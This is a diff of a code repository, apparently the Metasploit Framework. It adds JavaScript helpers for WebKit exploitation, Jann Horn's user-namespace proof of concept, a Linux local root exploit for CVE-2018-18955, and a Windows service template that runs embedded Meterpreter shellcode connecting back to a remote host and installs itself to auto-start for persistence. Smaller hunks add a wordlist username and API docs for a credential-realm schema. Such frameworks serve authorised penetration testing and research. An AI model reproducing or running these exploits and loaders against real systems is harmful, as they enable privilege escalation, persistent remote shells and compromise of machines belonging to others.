||||
}
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,182 @@
|
|||
//
|
||||
// Tiny module that provides big (64bit) integers.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
// Requires utils.js
|
||||
//
|
||||
|
||||
// Datatype to represent 64-bit integers.
|
||||
//
|
||||
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||
function Int64(v) {
|
||||
// The underlying byte array.
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
switch (typeof v) {
|
||||
case 'number':
|
||||
v = '0x' + Math.floor(v).toString(16);
|
||||
case 'string':
|
||||
if (v.startsWith('0x'))
|
||||
v = v.substr(2);
|
||||
if (v.length % 2 == 1)
|
||||
v = '0' + v;
|
||||
|
||||
var bigEndian = unhexlify(v, 8);
|
||||
bytes.set(Array.from(bigEndian).reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (v instanceof Int64) {
|
||||
bytes.set(v.bytes());
|
||||
} else {
|
||||
if (v.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(v);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
default:
|
||||
throw TypeError("Int64 constructor requires an argument.");
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function() {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Integer can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function() {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||
throw new RangeError("Integer can not be represented by a JSValue");
|
||||
|
||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
this.assignSub(this, 0x1000000000000);
|
||||
var res = Struct.unpack(Struct.float64, bytes);
|
||||
this.assignAdd(this, 0x1000000000000);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function() {
|
||||
return Array.from(bytes);
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function(i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function() {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function() {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
for (var i = 0; i < arguments.length; i++)
|
||||
if (!(arguments[i] instanceof Int64))
|
||||
arguments[i] = new Int64(arguments[i]);
|
||||
return f.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
|
||||
// this = -n (two's complement)
|
||||
this.assignNeg = operation(function neg(n) {
|
||||
for (var i = 0; i < 8; i++)
|
||||
bytes[i] = ~n.byteAt(i);
|
||||
|
||||
return this.assignAdd(this, Int64.One);
|
||||
}, 1);
|
||||
|
||||
// this = a + b
|
||||
this.assignAdd = operation(function add(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a - b
|
||||
this.assignSub = operation(function sub(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a ^ b
|
||||
this.assignXor = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a & b
|
||||
this.assignAnd = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2)
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function(d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||
|
||||
// Return -n (two's complement)
|
||||
function Neg(n) {
|
||||
return (new Int64()).assignNeg(n);
|
||||
}
|
||||
|
||||
// Return a + b
|
||||
function Add(a, b) {
|
||||
return (new Int64()).assignAdd(a, b);
|
||||
}
|
||||
|
||||
// Return a - b
|
||||
function Sub(a, b) {
|
||||
return (new Int64()).assignSub(a, b);
|
||||
}
|
||||
|
||||
// Return a ^ b
|
||||
function Xor(a, b) {
|
||||
return (new Int64()).assignXor(a, b);
|
||||
}
|
||||
|
||||
// Return a & b
|
||||
function And(a, b) {
|
||||
return (new Int64()).assignAnd(a, b);
|
||||
}
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
|
||||
// That's all the arithmetic we need for exploiting WebKit.. :)
|
Binary file not shown.
|
@ -0,0 +1,78 @@
|
|||
//
|
||||
// Utility functions.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
|
||||
// Return the hexadecimal representation of the given byte.
|
||||
function hex(b) {
|
||||
return ('0' + b.toString(16)).substr(-2);
|
||||
}
|
||||
|
||||
// Return the hexadecimal representation of the given byte array.
|
||||
function hexlify(bytes) {
|
||||
var res = [];
|
||||
for (var i = 0; i < bytes.length; i++)
|
||||
res.push(hex(bytes[i]));
|
||||
|
||||
return res.join('');
|
||||
}
|
||||
|
||||
// Return the binary data represented by the given hexdecimal string.
|
||||
function unhexlify(hexstr) {
|
||||
if (hexstr.length % 2 == 1)
|
||||
throw new TypeError("Invalid hex string");
|
||||
|
||||
var bytes = new Uint8Array(hexstr.length / 2);
|
||||
for (var i = 0; i < hexstr.length; i += 2)
|
||||
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function hexdump(data) {
|
||||
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||
data = Array.from(data);
|
||||
|
||||
var lines = [];
|
||||
for (var i = 0; i < data.length; i += 16) {
|
||||
var chunk = data.slice(i, i+16);
|
||||
var parts = chunk.map(hex);
|
||||
if (parts.length > 8)
|
||||
parts.splice(8, 0, ' ');
|
||||
lines.push(parts.join(' '));
|
||||
}
|
||||
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
var buffer = new ArrayBuffer(8);
|
||||
var byteView = new Uint8Array(buffer);
|
||||
var uint32View = new Uint32Array(buffer);
|
||||
var float64View = new Float64Array(buffer);
|
||||
|
||||
return {
|
||||
pack: function(type, value) {
|
||||
var view = type; // See below
|
||||
view[0] = value;
|
||||
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||
},
|
||||
|
||||
unpack: function(type, bytes) {
|
||||
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||
throw Error("Invalid bytearray");
|
||||
|
||||
var view = type; // See below
|
||||
byteView.set(bytes);
|
||||
return view[0];
|
||||
},
|
||||
|
||||
// Available types.
|
||||
int8: byteView,
|
||||
int32: uint32View,
|
||||
float64: float64View
|
||||
};
|
||||
})();
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,52 @@
|
|||
// subshell.c
|
||||
// author: Jann Horn
|
||||
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
|
||||
|
||||
pid_t child = fork();
|
||||
if (child == -1) err(1, "fork");
|
||||
if (child == 0) {
|
||||
close(sync_pipe[1]);
|
||||
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
|
||||
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "exec");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
|
||||
char pbuf[100];
|
||||
sprintf(pbuf, "/proc/%d", (int)child);
|
||||
if (chdir(pbuf)) err(1, "chdir");
|
||||
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||
int uid_map = open("uid_map", O_WRONLY);
|
||||
if (uid_map == -1) err(1, "open uid map");
|
||||
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
|
||||
close(uid_map);
|
||||
int gid_map = open("gid_map", O_WRONLY);
|
||||
if (gid_map == -1) err(1, "open gid map");
|
||||
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
|
||||
close(gid_map);
|
||||
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) err(1, "wait");
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,272 @@
|
|||
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||
// ---
|
||||
// Mostly stolen from Jann Horn's exploit:
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
// Some code stolen from Xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added auto subordinate id mapping
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <grp.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/wait.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
char* SUBSHELL = "./subshell";
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
static int write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||
|
||||
int get_subuid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subuid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_uid = getuid();
|
||||
struct passwd *u = getpwuid(real_uid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", u->pw_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_subgid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subgid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_gid = getgid();
|
||||
struct group *g = getgrgid(real_gid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", g->gr_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SUBSHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] setting up namespace\n");
|
||||
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
dprintf("[-] pipe\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
dprintf("write to sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setgid(0)) {
|
||||
dprintf("[-] setgid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setuid(0)) {
|
||||
printf("[-] setuid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
execl(SUBSHELL, "", NULL);
|
||||
|
||||
dprintf("[-] executing subshell failed\n");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char path[256];
|
||||
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||
|
||||
if (write_file(path, "deny") == -1) {
|
||||
dprintf("[-] denying setgroups failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
dprintf("[.] mapping subordinate ids\n");
|
||||
char subuid[64];
|
||||
char subgid[64];
|
||||
|
||||
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] subuid: %s\n", subuid);
|
||||
dprintf("[.] subgid: %s\n", subgid);
|
||||
|
||||
char cmd[256];
|
||||
|
||||
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newuidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newgidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, mapped subordinate ids\n");
|
||||
|
||||
dprintf("[.] executing subshell\n");
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
dprintf("[-] write to sock");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) {
|
||||
dprintf("[-] wait");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,304 @@
|
|||
#include <String.h>
|
||||
#include <Windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define SERVICE_NAME <%= @service_name.inspect %>
|
||||
#define DISPLAY_NAME <%= @service_description.inspect %>
|
||||
#define RETRY_TIME <%= @retry_time %>
|
||||
|
||||
//
|
||||
// Globals
|
||||
//
|
||||
|
||||
SERVICE_STATUS status;
|
||||
SERVICE_STATUS_HANDLE hStatus;
|
||||
|
||||
//
|
||||
// Meterpreter connect back to host
|
||||
//
|
||||
|
||||
void start_meterpreter()
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
<%= buf %>
|
||||
|
||||
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(buffer,buf,sizeof(buf));
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
|
||||
WaitForSingleObject(hThread, -1); //INFINITE
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//
|
||||
// Call self without parameter to start meterpreter
|
||||
//
|
||||
|
||||
void self_call()
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
|
||||
// Get module file name failed
|
||||
return;
|
||||
}
|
||||
|
||||
STARTUPINFO startup_info;
|
||||
PROCESS_INFORMATION process_information;
|
||||
|
||||
ZeroMemory(&startup_info, sizeof(startup_info));
|
||||
startup_info.cb = sizeof(startup_info);
|
||||
|
||||
ZeroMemory(&process_information, sizeof(process_information));
|
||||
|
||||
// If create process failed.
|
||||
// CREATE_NO_WINDOW = 0x08000000
|
||||
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
|
||||
NULL, &startup_info, &process_information) == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Wait until the process died.
|
||||
WaitForSingleObject(process_information.hProcess, -1);
|
||||
}
|
||||
|
||||
//
|
||||
// Process control requests from the Service Control Manager
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
|
||||
{
|
||||
switch (fdwControl) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
case SERVICE_CONTROL_SHUTDOWN:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_STOPPED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_PAUSED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function of service
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
|
||||
{
|
||||
// Register the service handler
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
|
||||
|
||||
if (hStatus == 0) {
|
||||
//printf("Cannot register service handler (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Initialize the service status structure
|
||||
|
||||
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwServiceSpecificExitCode = 0;
|
||||
status.dwCheckPoint = 0;
|
||||
status.dwWaitHint = 0;
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
// Start the Meterpreter
|
||||
while (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
self_call();
|
||||
Sleep(RETRY_TIME);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Installs and starts the Meterpreter service
|
||||
//
|
||||
|
||||
BOOL install_service()
|
||||
{
|
||||
SC_HANDLE hSCManager;
|
||||
SC_HANDLE hService;
|
||||
|
||||
char path[MAX_PATH];
|
||||
|
||||
// Get the current module name
|
||||
|
||||
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
|
||||
//printf("Cannot get module name (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the service command line
|
||||
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
|
||||
if (total_len < 0 || total_len >= sizeof(cmd)){
|
||||
//printf("Cannot build service command line (0x%08x)", -1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cmd[0] = '\0';
|
||||
strcat(cmd, "\"");
|
||||
strcat(cmd, path);
|
||||
strcat(cmd, "\" <%= @start_cmd %>");
|
||||
|
||||
// Open the service manager
|
||||
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
|
||||
if (hSCManager == NULL) {
|
||||
//printf("Cannot open service manager (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create the service
|
||||
|
||||
hService = CreateService(
|
||||
hSCManager,
|
||||
SERVICE_NAME,
|
||||
DISPLAY_NAME,
|
||||
0xf01ff, // SERVICE_ALL_ACCESS
|
||||
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
cmd,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL, /* LocalSystem account */
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hService == NULL) {
|
||||
//printf("Cannot create service (0x%08x)", GetLastError());
|
||||
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Start the service
|
||||
|
||||
char* args[] = { path, "service" };
|
||||
|
||||
if (StartService(hService, 2, (const char**)&args) == 0) {
|
||||
DWORD err = GetLastError();
|
||||
|
||||
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
|
||||
{
|
||||
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
|
||||
//printf("Service %s successfully installed.", SERVICE_NAME);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//
|
||||
// Start the service
|
||||
//
|
||||
|
||||
void start_service()
|
||||
{
|
||||
SERVICE_TABLE_ENTRY ServiceTable[] =
|
||||
{
|
||||
{ SERVICE_NAME, &ServiceMain },
|
||||
{ NULL, NULL }
|
||||
};
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
|
||||
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function
|
||||
//
|
||||
|
||||
int main()
|
||||
{
|
||||
// Parse the command line argument.
|
||||
// For now, int main(int argc, char *argv) is buggy with metasm.
|
||||
// So we choose this approach to achieve it.
|
||||
LPTSTR cmdline;
|
||||
cmdline = GetCommandLine();
|
||||
|
||||
char *argv[MAX_PATH];
|
||||
char * ch = strtok(cmdline," ");
|
||||
int argc = 0;
|
||||
|
||||
while (ch != NULL)
|
||||
{
|
||||
argv[argc] = malloc( strlen(ch)+1) ;
|
||||
strncpy(argv[argc], ch, strlen(ch)+1);
|
||||
|
||||
ch = strtok (NULL, " ");
|
||||
argc++;
|
||||
}
|
||||
|
||||
if (argc > 1) {
|
||||
|
||||
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
|
||||
|
||||
// Installs and starts the service
|
||||
|
||||
install_service();
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
|
||||
// Starts the Meterpreter as a service
|
||||
|
||||
start_service();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Starts the Meterpreter as a normal application
|
||||
|
||||
start_meterpreter();
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -16,6 +16,7 @@ bin
|
|||
checkfs
|
||||
checkfsys
|
||||
checksys
|
||||
chronos
|
||||
cmwlogin
|
||||
couchdb
|
||||
daemon
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -33,6 +33,11 @@ module CredentialApiDoc
|
|||
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
|
||||
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
|
||||
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
|
||||
KEY_DESC = 'The name of the key for the realm.'
|
||||
KEY_EXAMPLE = 'Active Directory Domain'
|
||||
VALUE_DESC = 'The value of the key for the realm.'
|
||||
VALUE_EXAMPLE = 'contoso.com'
|
||||
|
||||
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
|
||||
PRIVATE_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::ReplayableHash',
|
||||
|
@ -108,6 +113,15 @@ module CredentialApiDoc
|
|||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Realm do
|
||||
key :required, [:key, :value]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :key, type: :string, description: KEY_DESC, example: KEY_EXAMPLE
|
||||
property :value, type: :string, description: VALUE_DESC, example: VALUE_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials' do
